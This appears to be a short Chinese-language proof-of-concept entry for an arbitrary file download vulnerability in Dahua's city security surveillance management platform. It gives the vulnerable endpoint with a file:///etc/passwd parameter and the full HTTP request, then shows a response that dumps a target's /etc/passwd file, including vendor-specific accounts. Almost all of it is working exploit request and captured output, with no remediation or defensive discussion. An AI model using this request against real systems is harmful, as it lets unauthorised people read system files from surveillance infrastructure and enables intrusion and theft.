大华 城市安防监控系统平台管理 任意文件下载漏洞

大华城市安防监控系统平台管理

/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

HTTP/1.1 200 OKServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=23A98843BC5D957E2E1F65C0ED593393; Path=/portalContent-disposition: attachment;filename=passwdDate: Sun, 09 Jul 2023 23:57:00 GMTConnection: close
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinrpm:x:37:37::/var/lib/rpm:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinnetdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bashident:x:98:98::/home/ident:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinsquid:x:23:23::/var/spool/squid:/sbin/nologinwebalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologingdm:x:42:42::/var/gdm:/sbin/nologinhtt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologinpvm:x:24:24::/usr/share/pvm3:/bin/bashcanna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologinwnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologinquagga:x:92:92:Quagga routing suite:/var/run/quagga:/sbin/nologincyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bashdovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinmailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologinpostgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bashamanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bashfax:x:78:78:mgetty fax spool user:/var/spool/fax:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologinexim:x:93:93::/var/spool/exim:/sbin/nologinldap:x:55:55:LDAP User:/var/lib/ldap:/bin/falseradiusd:x:95:95:radiusd user:/:/bin/falseradvd:x:75:75:radvd user:/:/sbin/nologinadmin:x:506:506:root:/home/admin:/etc/dh_cli/debugguest:x:507:507:Linux User,,,:/home/guest:/bin/nologinftpuser:x:508:508:Linux User,,,:/home/ftpuser:/bin/nologindh_admin:x:509:509:Linux User,,,:/home/dh_admin:/etc/dh_cli/debugmysql:x:501:501::/home/mysql:/sbin/nologinsystem:x:510:510:Linux User,,,:/home/system:/sbin/nologindss:x:1000:1000:Linux User,,,:/opt/ftp:/sbin/nologinlog:x:1001:1001:Linux User,,,:/log:/bin/sh